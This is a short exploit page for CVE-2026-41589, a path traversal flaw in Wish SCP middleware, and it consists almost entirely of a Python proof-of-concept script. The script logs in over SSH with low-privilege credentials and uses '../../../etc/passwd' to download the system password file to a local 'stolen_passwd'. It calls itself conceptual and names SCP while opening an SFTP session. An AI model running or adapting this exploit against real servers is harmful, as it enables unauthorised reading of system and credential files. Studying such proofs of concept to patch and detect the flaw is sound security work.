CVE-2026-41589 Wish SCP中间件路径遍历漏洞

import paramiko import sys # Conceptual PoC for Path Traversal in Wish SCP Middleware # Target: CVE-2026-41589 # Description: Connects to the target SSH server and attempts to read a file outside the root directory. TARGET_HOST = "target_ip" TARGET_PORT = 22 USERNAME = "low_priv_user" PASSWORD = "password" try: # Create SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD) # Open SCP client scp = client.open_sftp() # Attempt to read /etc/passwd using path traversal # The vulnerable SCP middleware does not sanitize '../' remote_file_path = "../../../etc/passwd" local_file_path = "./stolen_passwd" print(f"[+] Attempting to download {remote_file_path}...") scp.get(remote_file_path, local_file_path) print("[+] File downloaded successfully.") scp.close() client.close() except Exception as e: print(f"[-] Error: {e}")